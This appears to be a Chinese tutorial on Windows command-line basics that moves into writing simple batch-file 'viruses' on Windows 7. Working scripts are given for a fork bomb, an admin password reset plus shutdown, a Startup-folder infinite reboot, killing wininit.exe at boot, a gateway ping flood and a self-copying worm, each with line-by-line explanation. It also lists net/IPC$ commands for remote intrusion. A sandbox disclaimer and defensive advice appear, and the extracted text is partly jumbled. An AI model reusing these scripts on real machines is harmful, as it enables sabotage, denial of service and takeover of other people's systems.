1、windows&linux 微软windows操作系统,俗称windows 文件系统 linux:
fhs目录结构,块设备挂载到目录(一切都是文件) win:
以驱动器盘符起始,或通过目录挂载分区 路径格式 linux:
/开始,区分大小写(左斜线) win:
\分隔路径,不区分大小写(右斜线) 系统配置 linux:
etc/和/proc(存储在信息目录) win:
注册表(存储信息在注册表里) 2、windows四种shell接口 GUI图形化用户接口,操作简单。 cmd命令行用户接口,包含一组预定义命令。 wmic微软基于wbem的实现,从21h1版本已经弃用,被powershell替代了。 powershell自动化脚本框架,支持.net架构。 wsl在win上运行的子系统。 3、cmd内置命令 4、windows常用命令 5、文件导航系统 返回驱动根目录 大小写不敏感 查看文件隐藏系统 搜索文件名 最近编辑的文件 6、系统标准目录 7、系统以及环境 系统信息查询可视化 环境变量 查看名称以P开头的变量 8、常见的端口对应服务 9、下面介绍几个基础病毒的编写 (以下所有测试环境均为Windows 7) 介绍病毒之前,先介绍一下net的具体用法 bat资源耗尽病毒 锁机病毒 锁机病毒的原理 • 本地随机数:
病毒通过生成随机数,结合固定参数进行运算,生成复杂的密码。用户被要求输入这个密码才能解锁设备。 • 网络随机数:
病毒将本地生成的随机数发送到服务器,服务器根据这个随机数生成密码并发送回用户。这种方式增加了病毒的安全性和复杂性。 • MBR逻辑锁:
通过修改MBR(主引导记录),使用户无法进入操作系统,停留在引导界面并要求输入密码。 锁机病毒的传播途径 • 通过U盘、移动硬盘传播:
将病毒复制到移动存储设备上,当这些设备被插入其他计算机时,病毒就会传播。 • 通过电子邮件传播:
病毒被嵌入到电子邮件的附件中,用户下载并打开附件时,病毒就会感染计算机。 • 通过网页传播:
恶意网页利用漏洞向用户的计算机植入病毒。 • 通过聊天工具和下载软件传播:
病毒通过聊天工具或下载软件传播,尤其是那些来源不明的软件。 锁机病毒的防护措施 • 定期更新系统和软件:
保持操作系统和所有软件的最新状态,以修补已知的安全漏洞。 • 安装可靠的安全软件:
使用可靠的安全软件进行实时监控和防护。 • 不打开未知来源的邮件和链接:
避免点击来自未知发件人的邮件附件或可疑链接。 • 备份重要数据:
定期备份重要文件和数据,以防万一。 • 使用强密码和双因素认证:
为所有账户设置强密码,并启用双因素认证,以增加安全性。 通过了解锁机病毒的原理、传播途径和防护措施,我们可以更有效地保护自己的设备和个人信息不受威胁。 命令分析 创建一个批处理文件,1.bat,并修改管理员账号密码命令为123456。 向1.bat文件中追加一个命令,可以立即关闭计算机。
以管理员身份运行bat即可成功修改密码。 无限重启病毒 无限重启病毒原理 • 破坏系统文件:
病毒会破坏或篡改系统关键文件,如操作系统内核文件、启动配置文件等,导致系统在启动过程中遇到错误而无法正常启动。 • 篡改启动配置:
病毒可能会修改系统的启动配置文件(如boot.ini),使得系统在启动时不断重启。 • 驱动程序冲突:
通过感染或替换系统驱动程序,病毒可以在系统启动时引发冲突,导致重启循环。 • 利用系统漏洞:
病毒可能会利用操作系统或应用程序的漏洞进行传播和执行,从而破坏系统的稳定性。 无限重启病毒的传播途径 • 通过下载不明来源的软件:
用户从不可信的网站下载软件时,可能会不知不觉下载到含有病毒的文件。 • 通过电子邮件附件:
病毒可以嵌入电子邮件的附件中,当用户打开附件时,病毒就会感染系统。 • 通过USB设备:
感染病毒的USB设备插入电脑后,病毒也会传播到电脑中。 • 利用系统漏洞:
病毒利用系统或应用程序的已知漏洞进行自我复制和传播。 无限重启病毒的防护措施 • 安装可靠的安全软件:
使用可靠的安全软件进行实时监控和防护,定期更新病毒库。 • 定期更新系统和软件:
保持操作系统和所有软件的最新状态,以修补已知的安全漏洞。 • 避免打开未知来源的邮件和链接:
不点击来自未知发件人的邮件附件或可疑链接。 • 备份重要数据:
定期备份重要文件和数据,以防万一。 • 使用强密码和双因素认证:
为所有账户设置强密码,并启用双因素认证,以增加安全性。 通过了解无限重启病毒的原理、传播途径和防护措施,我们可以更有效地保护自己的设备和个人信息不受威胁。 命令分析 创建一个bat批处理文件,且立即关闭计算机。 将bat文件复制到"%USERPROFILE%\AppData
\Roaming\Microsoft\windows\Start\Menu\Programs
\Startup"这个文件下,这个文件夹为开机自启动文件,运行文件此bat文件会无限重启。 启动后确实进去即自动关机,截不了图。 windows 系统目录接管与渗透的关系 我们学习了前面的windows基础语法,我们今天就利用这些简单的语法自主写几个windows小病毒。(测试环境均为windows7) 原理:
杀掉wininit进程并放到开机自启动里面。 创建一个批处理文件(.bat),该文件会在系统启动时自动运行,并尝试强制结束wininit.exe进程。wininit.exe是Windows初始化进程,强制结束它可能会导致系统不稳定或无法启动(蓝屏)。 批处理文件:
批处理文件(.bat)是一种简单的脚本文件,包含一系列命令,按顺序执行。 任务管理器命令:
taskkill /im wininit.exe /f 是 Windows 任务管理器的命令,用于强制结束指定进程。/im 参数指定进程名称,/f 参数表示强制结束。 启动文件夹:
Windows 的启动文件夹包含在系统启动时自动运行的程序和脚本。将批处理文件放置在这里,会导致每次系统启动时自动执行该批处理文件中的命令。 危害 系统不稳定:
wininit.exe 是 Windows 初始化进程,负责启动系统的基本服务和驱动程序。强制结束这个进程会导致系统无法正常启动,甚至可能导致系统崩溃。 数据丢失:
由于系统无法正常启动,可能会导致未保存的数据丢失。 安全风险:
这种行为通常与恶意软件相关,可能会被用来隐藏其他恶意操作,如窃取数据、安装后门等。 原理:利用ping命令大量向网关发包 @echo off 作用:
关闭命令行窗口中命令的回显。通常情况下,在命令提示符中执行命令时, 会显示每条命令本身以及其执行结果(如果有)。使用 @echo off 后,只会 显示命令执行产生的结果(如果结果未被重定向隐藏),而不会显示具体执 行的命令内容,这样可以使命令行窗口输出更加简洁,专注于程序运行的实质效果。 获取ipv4地址的循环部分 整体功能:
从 获取网关的循环部分 整体功能:
从 这部分代码的原理和获取 IPv4 地址的部分基本相同。 同样是通过 ping循环部分 整体功能:
以指定的参数持续向本机的默认网关发送 ping 请求,形成一个循环操作。 这行命令会使程序流程无条件跳转到前面定义的 综上所述 ,这段批处理代码的主要功能是先获取本机的 蠕虫病毒(Worm Virus)是一种自我复制的恶意软件,它能够在计算机网络中独立传播,无需用户干预。蠕虫病毒通常利用网络协议、操作系统漏洞或用户行为(如电子邮件附件)来传播。以下是蠕虫病毒的主要工作原理: 自我复制 蠕虫病毒的核心特性是自我复制。它可以在感染的系统上生成自身的副本,并将这些副本传播到其他系统。自我复制的过程通常涉及以下几个步骤: • 提取自身代码:蠕虫病毒从感染文件中提取自身的代码。 • 创建副本:蠕虫病毒在目标系统上创建自身的副本,通常是一个独立的可执行文件。 • 传播副本:蠕虫病毒利用网络连接或其他传播机制将副本发送到其他系统。 利用漏洞 蠕虫病毒通常利用操作系统、应用程序或网络协议的漏洞来传播。这些漏洞可能包括: • 缓冲区溢出:蠕虫病毒通过发送特制的输入数据,覆盖内存中的关键数据,从而执行恶意代码。 • 弱密码或默认配置:蠕虫病毒尝试使用常见密码或默认配置登录系统。 • 未打补丁的软件:蠕虫病毒利用未更新的软件中的已知漏洞进行攻击。 网络传播 蠕虫病毒利用网络连接在系统之间传播。常见的传播方式包括: • 电子邮件附件:蠕虫病毒通过发送带有恶意附件的电子邮件,诱使用户打开并感染系统。 • 即时消息:蠕虫病毒通过即时消息应用程序发送恶意链接或附件。 • 文件共享:蠕虫病毒通过共享文件夹或网络驱动器传播到其他系统。 • P2P网络:蠕虫病毒通过点对点(P2P)文件共享网络传播。 感染策略 蠕虫病毒采用多种策略来感染系统,包括: • 随机扫描:蠕虫病毒随机扫描IP地址范围,寻找可攻击的目标。 • 目标列表:蠕虫病毒使用预定义的目标列表,专门针对特定的系统或网络。 • 社交工程:蠕虫病毒利用社交工程技巧,诱使用户执行恶意操作。 后门和资源利用 一旦感染了系统,蠕虫病毒可能会执行以下操作: • 安装后门:蠕虫病毒可能会在系统中安装后门,以便攻击者可以远程访问和控制受感染的系统。 • 资源利用:蠕虫病毒可能会消耗系统资源(如CPU、内存和网络带宽),导致性能下降或服务中断。 • 数据窃取:蠕虫病毒可能会窃取敏感数据,如密码、文件或个人信息。 持续传播 蠕虫病毒通常设计为持续传播,即使在没有用户干预的情况下也能不断感染新的系统。这种持续传播的能力使得蠕虫病毒能够在短时间内迅速扩散,造成广泛的影响。 防范措施 为了防范蠕虫病毒的攻击,用户和组织可以采取以下措施: • 定期更新软件:及时安装操作系统和应用程序的安全补丁。 • 使用防火墙:配置防火墙以阻止未经授权的网络访问。 • 反病毒软件:安装并定期更新反病毒软件,以检测和清除恶意软件。 • 安全意识培训:教育用户识别和避免潜在的威胁,如可疑的电子邮件附件或链接。 • 备份数据:定期备份重要数据,以防止数据丢失。 总之,蠕虫病毒是一种严重的安全威胁,了解其工作原理并采取适当的防范措施对于保护系统和数据至关重要。 蠕虫的简单编写
(任何危害计算机的行为都是违法的,一切测试务必在沙盒等可控安全环境下进行。切不可炫技等,一切违规行为均与本人无关) 运行后输出 以下是代码的逐行分析 蠕虫经典典例 蠕虫病毒的典例有很多,以下是一些著名的蠕虫病毒案例: 开发者:
罗伯特·莫里斯(Robert Tappan Morris) 影响:
这是互联网上第一个广泛传播的蠕虫病毒,感染了大约6000台计算机(当时互联网上约有10万用户)。 传播方式:
利用Unix系统的 后果:
导致大量计算机系统崩溃,网络拥堵严重,估计损失在1000万到1亿美元之间。 开发者:
未知 影响:
在短短10分钟内感染了全球约7.5万台计算机。 传播方式:
利用微软SQL Server和MSDE 2000的未修补漏洞。 后果:
导致全球范围内的互联网速度显著下降,部分网络服务中断。 开发者:
未知 影响:
感染了全球范围内的数十万台计算机。 传播方式:
利用Windows操作系统中的RPC漏洞。 后果:
引发大规模的拒绝服务攻击,导致许多计算机无法正常工作。 开发者:
未知 影响:
主要在欧洲和美国造成了广泛的影响。 传播方式:
利用Windows XP和Windows 2000中的LSASS漏洞。 后果:
导致许多计算机频繁重启,部分服务中断,估计损失在1.8亿美元左右。 开发者:
未知 影响:
被认为是有史以来传播速度最快的电子邮件蠕虫之一。 传播方式:
通过电子邮件附件传播,利用Windows系统的漏洞。 后果:
导致全球范围内的电子邮件服务器拥堵,估计损失在380亿美元左右。 开发者:
未知 影响:
主要影响了美国和欧洲的计算机。 传播方式:
利用Windows系统中的RPC漏洞。 后果:
导致部分计算机频繁重启,服务中断,估计损失在5000万美元左右。 开发者:
未知 影响:
感染了全球数百万台计算机。 传播方式:
利用Windows操作系统中的多个漏洞,包括网络共享和远程桌面协议。 后果:
形成一个庞大的僵尸网络,导致部分网络服务中断和安全风险增加。windows基础
cd\(切换到根目录)
help(查看cmd内置命令)
cd 显示当前目录的名称或将其更改
cmd 打开另一个wendows命令解释程序窗口
copy 将至少一个文件复制到另一个位置
del 删除至少一个文件
dir 显示一个目录中的文件和子目录
echo 显示消息,或者将命令回显打开或者关闭
erase 删除一个文件或者多个文件
find 在一个或者多个文件中搜索一个文本字符串
findstr 在多个文件中搜索字符串
mkdir 创建一个目录
more 逐屏显示输出
move 将一个或者多个文件从一个目录移动到另一个目录
ren 重命名文件名
rmdir 删除目录
type 显示文本内容
attrib 显示或修改文件扩展名关联
bcdedit 设置启动数据库中的属性以控制启动加载
icacls 显示或者修改文件的访问控制列表(acl)
chcp 显示或者设置活动代码页数
comp 比较两个或者两套文件的内容
date 显示或者设置日期
diskpart 显示或配置磁盘分区属性
doskey 编辑命令行,撤回Windows命令
driverquery 显示当前设备驱动程序状态和属性
fc 比较两个文件集并显示他们之间的不同
for 为一组文件中的每一个文件运行一个指定命令
fsutil 显示或者配置文件系统属性
gpresult 显示计算机或者用户的组策略信息
mklink 创建符号链接和硬链接
openfiles 显示远程用户通过文件共享打开的本地文件
path 为可执行文件显示或者设置搜索路径
set 显示设置或删除windows环境变量
schtasks 安排一台计算机上运行命令和程序
shutdown 允许通过本地或远程方式正确关闭计算机
start 启动单独的窗口以运行指定的程序或者命令
systeminfo 显示计算机的特定属性和配置
tasklist 显示包括服务在内的所有当前运行任务
taskkill 终止正在运行的进程或应用程序
tree 树状图
time 显示或者设置系统时间
tracert 网络路径追踪C:\windows\web>cd\
C:windows\>cd..
C:\>type"spaces in title.txt"
C:\users\dir/A
C:\>dir/s aaa.txt
C:\>dir/tw/od
perflogs存储windows性能日志。
program files 32位系统,存储32位程序,64位存储64位程序。
program files 64位系统,存储32位版本程序。
programdata隐藏目录,包含全局程序数据,所有登录用户都可以访问这些数据。
users 包含用户主目录(登录过的用户)
users\public 用户间共享文件,所有用户都有权访问
users\[username]\appdata 隐藏子目录,存储用户应用数据和设置
windows\system,system32,system64 存储动态链接库文件,windows和api核心文件
xp,windows server 2003
C:\documents and settings 早期一些xp系统的windows主目录systeminfo
msinfo32C:\>echo %username%
C:\>echo %path%
C:\>echo %username%
C:\>echo %temp%
C:\>echo %userprofile%
C:\>set 当前命令行下的环境变量列出set p
永久修改环境变量
setx var1 brand1
setx /s host1 /u domain\user /p pass var1 brand1
setx /s hopst1 /u domain\user /p pass mypath %path%
变量位于
hkey_current_user\environmentftp - 21
telnet - 23
web - 80-89
ssl - 443
smb - 445
mssql - 1433
Oracle - 1521
cpanel - 2082/2083
虚拟机管理系统 2222
squid - 3128(内网漫游)
mysql - 3306
3312/3311 kangle
3389 - rdp
5432 - pgsql
5900 - vnc
6379 - redis(未授权)
7001/7002 - weblogic 默认弱口令,反序列化
7778 - kloxo
8000-9090 常见的web端口
8080 tomcat、wdcp、默认弱口令
8080/8089/9090 jboss
8083 - vestacp主机管理系统
8649 - ganglia
8888 - 宝塔
10000 - virtuamin/webmin
11211 - memcache未授权
27017/27018 - mongodb未授权
28017 - mongodb统计系统页面1.Net常用命令:
(1)net share - 查看共享命令
net share ipc共享
net share ipc共享 (xp系统无法删除)
net share c$=c: - 设置c盘为共享
(2)net user - 查看本地的用户列表
net user 用户名 密码 /add - 增加一个用户
net user 用户名 /add 或 net user 用户名 “” /add - 增加一个密码为空的用户
net user 用户名 /del - 删除某个用户名
net user 用户名 /active:yes(no) - 设置某个用户的状态为启用(禁用)
(3)net localgroup administrators - 查看管理员组里的用户(即权限为管理员的用户)
net localgroup administrators 用户名 /add - 把某个用户增加到管理员组里
net localgroup administrators 用户名 /del - 从管理员组里删除某个用户
注意:
1.增加到某个组里的用户必须是已经被创建过的用户。
2.增加到的组必须为存在的组。
(4)net start - 查看已经启动的服务列表
net start 服务名 - 开启某个服务 注意:要想成功的开启一个服务,前提是它被停用了,而不是被禁止
net stop 服务名 - 停止某个服务 注意:停止的服务必须是已经启动的,而不是已经停止或是被禁止的
(5)net use \ip地址ipc连接(ipc$入侵)
net use \ip地址ipc连接
命令成功与否的前提:
1.对方操作系统是否为NT以上的(除xp外)
2.对方系统是否开启了ipc$共享
3.输入的用户名和密码是否正确
(6)net use h: \ip地址c$ - 将对方c盘映射到本地的h盘
net use h: /del -删除映射到本地的磁盘
注意:
1.要映射到本地的磁盘名不能与本地现有的磁盘名重复(冲突)
2.想要映射对方的某个磁盘或目录的前提是对方的此磁盘或目录设置了共享
2.copy 磁盘:程序名 \ip地址c$要保存的程序名
3.net time \ip地址 - 查看某ip地址的计算机系统上的时间
注意:
除了查看本机时间可直接输入此命令外,在查看其他ip地址的时间之前必须建立ipc$连接
4.at \ip地址 时间 要运行的程序 - 指定远程计算机在某个时间点运行指定的程序
5.telnet ip地址 端口号(默认23) - 登陆远程计算机的telnet终端Cmd运行框中输入:
Echo start cmd >1.txt
Echo %0 >>1.txt
Ren 1.txt 1.bat
Start 1.bat命令
echo net user administrator 123456 > c:\windows
\Temp\1.bat
echo shutdown /s /t 0 >> c:\windows\Temp\1.bat命令
echo shutdown /s /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData
\Roaming\Microsoft\windows\Start\Menu\Programs
\Startup""%USERPROFILE%\AppData\Roaming\Microsoft\windows
\Start Menu\Programs\Startup"(开机自启目录)c:\windows\Temp\1.bat (重启自动清空缓存)
windows基础
自启动蓝屏病毒
echo taskkill /im wininit.exe /f >"c:Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.bat"
网络堵塞病毒
@echo off
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
:ping_loop
ping -l 65500 -n 100 %gateway% >nul
goto ping_loopfor /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
ipconfig
命令的输出结果中提取本机的IPv4
地址,并将其赋值给变量ip
。for /f
:这是一个用于处理文本文件或命令输出结果等文本流的循环命令。它会逐行读取输入的文本,并根据指定的规则进行处理。"tokens=2 delims=:":
是for /f 命令的参数设置。tokens
:指定要从每行文本中提取的部分(称为 “令牌”)。这里设置 为 2 ,表示提取以:
为分隔符的第二段内容。例如,对于一行文本 “IPv4 Address.......... : 192.168.1.100”
,它会提取 “192.168.1.100”
这部分。delims
:定义了用于分隔每行文本的字符。这里指定 : 为分隔符,即按 照 : 来划分每行文本,以便确定要提取的 “令牌” 位置。('ipconfig ^| findstr /i "IPv4"')
:这是for /f
命令的输入来源。ipconfig
:是 Windows 系统用于查看网络配置信息的命令,它会输出 本机的网络相关配置,如 IP 地址、子网掩码、默认网关等信息。 ^|
:是管道符,用于将 ipconfig 命令的输出传递给下一个命令进行处理。findstr /i "IPv4"
: findstr 是用于在文本中查找指定字符串的命 令,/i
参数表示忽略大小写。所以这里是在 ipconfig 的输出结果中查 找包含 “IPv4” 字样的行。do set "ip=%%a":
do
:是 for /f
循环中的执行部分,当在前面找到符合条件的行并提取 到指定的片段(即 tokens=2 所指定的第二段内容)后,就会执行后面的操作。set "ip=%%a" :
将提取到的内容(存储在循环变量 %%a
中)赋值给变 量ip。在批处理文件中,循环变量需要使用双百分号(%%
)来表示, 而在命令提示符直接输入时,使用单百分号(%
)即可。for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
ipconfig
命令的输出结果中提取本机的默认网关信息,并将其赋值给变量gateway
。for /f
循环来处理 ipconfig 命令输出经过筛选后的内容。 区别在于这里是在 ipconfig 的输出中查找包含 “Default Gateway”
字样的行 (忽略大小写),然后提取以 : 为分隔符的第二段内容,并将其赋值给变量gateway。:ping_loop
ping -l 65500 -n 100 %gateway% >nul
goto ping_loop:ping_loop
:这是一个自定义的标签,用于标记一个代码块的位置,方便 后面通过 goto 语句跳转到此处,从而实现循环。ping -l 65500 -n 100 %gateway% >nul:
ping
:是 Windows 系统用于测试网络连接的命令。-l 65500
:指定了发送的 ping 包的大小为 65500
字节。-n 100
:表示发送 100 次 ping 包。%gateway%
:这里使用了前面获取到的默认网关变量,即向默认网关发 送这些 ping 包。>nul
:是将 ping 命令的输出重定向到空设备,也就是不显示ping
命 令执行过程中的输出信息,使命令行窗口不会被大量的 ping 反馈信息刷屏。goto ping_loop
ping_loop
标签处,从 而形成一个循环,不断地执行发送ping
包到默认网关的操作。IPv4
地址和默认网关信息, 然后持续向默认网关发送大流量(包大小为65500
字节)且一定次数(100 次)的 ping
包,并隐藏ping
命令的输出信息,以达到某种网络测试或其他相关目的。不过,如果在不合适的场景下持续大量发送ping
包可能会对网络造成一定影响,比如占用过多网络资源等。windows——蠕虫
@echo off
setlocal enabledelayedexpansion
:: 设置蠕虫文件的名称
set WORM_FILE=worm.bat
:: 检查当前文件是否是蠕虫文件
if not "%~nx0"=="%WORM_FILE%" (
echo This is not the worm file.
goto end
)
:: 显示蠕虫启动消息
echo Starting the worm simulation...
:: 循环复制自身到其他目录
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
if not exist %%d:\%WORM_FILE% (
copy "%~f0" "%%d:\%WORM_FILE%"
echo Copied worm to %%d:\
)
)
)
:: 结束蠕虫模拟
:end
echo Worm simulation ended.
EndlocalStarting the worm simulation...
Copied worm to c:\
Copied worm to d:\
...
Worm simulation ended.1. `@echo off`:关闭命令回显,使得命令提示符不会显示执行的每一条命令。
2. `setlocal enabledelayedexpansion`:启用延迟变量扩展,允许在循环内部动态地访问和修改变量的值。
3. `:: 设置蠕虫文件的名称`:注释,说明下面的代码行是设置蠕虫文件的名称。
4. `set WORM_FILE=worm.bat`:将变量`WORM_FILE`设置为`worm.bat`,这是蠕虫文件的名称。
5. `:: 检查当前文件是否是蠕虫文件`:注释,说明下面的代码行是检查当前执行的批处理文件是否是蠕虫文件。
6. `if not "%~nx0"=="%WORM_FILE%" (`:如果当前执行的批处理文件的名称和扩展名不是`worm.bat`,则执行括号内的代码。
7. `echo This is not the worm file.`:输出提示信息,表明当前文件不是蠕虫文件。
8. `goto end`:跳转到标签`end`,结束蠕虫模拟。
9. `)`:结束`if`语句。
10. `:: 显示蠕虫启动消息`:注释,说明下面的代码行是显示蠕虫启动的消息。
11. `echo Starting the worm simulation...`:输出提示信息,表明蠕虫模拟正在启动。
12. `:: 循环复制自身到其他目录`:注释,说明下面的代码行是循环复制蠕虫文件到其他驱动器。
13. `for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (`:对于每个字母(代表驱动器C到Z),执行括号内的代码。
14. `if exist %%d: (`:如果指定的驱动器存在,则执行括号内的代码。
15. `if not exist %%d:\%WORM_FILE% (`:如果在指定的驱动器上不存在蠕虫文件,则执行括号内的代码。
16. `copy "%~f0" "%%d:\%WORM_FILE%"`:将当前执行的批处理文件(蠕虫文件)复制到指定驱动器的根目录下,并命名为`worm.bat`。
17. `echo Copied worm to %%d:\`:输出提示信息,表明蠕虫文件已被复制到指定驱动器。
18. `)`:结束`if`语句。
19. `)`:结束`for`循环。
20. `)`:结束`if`语句。
21. `:: 结束蠕虫模拟`:注释,说明下面的代码行是结束蠕虫模拟。
22. `:end`:定义标签`end`,用于跳转结束蠕虫模拟。
23. `echo Worm simulation ended.`:输出提示信息,表明蠕虫模拟已结束。
24. `endlocal`:结束变量扩展的本地化,恢复之前的环境设置。Morris蠕虫(1988年)
sendmail
、finger
和rsh
程序的漏洞。SQL Slammer蠕虫(2003年)
Blaster蠕虫(2003年)
Sasser蠕虫(2004年)
Mydoom蠕虫(2004年)
Zotob蠕虫(2005年)
Conficker蠕虫(2008年)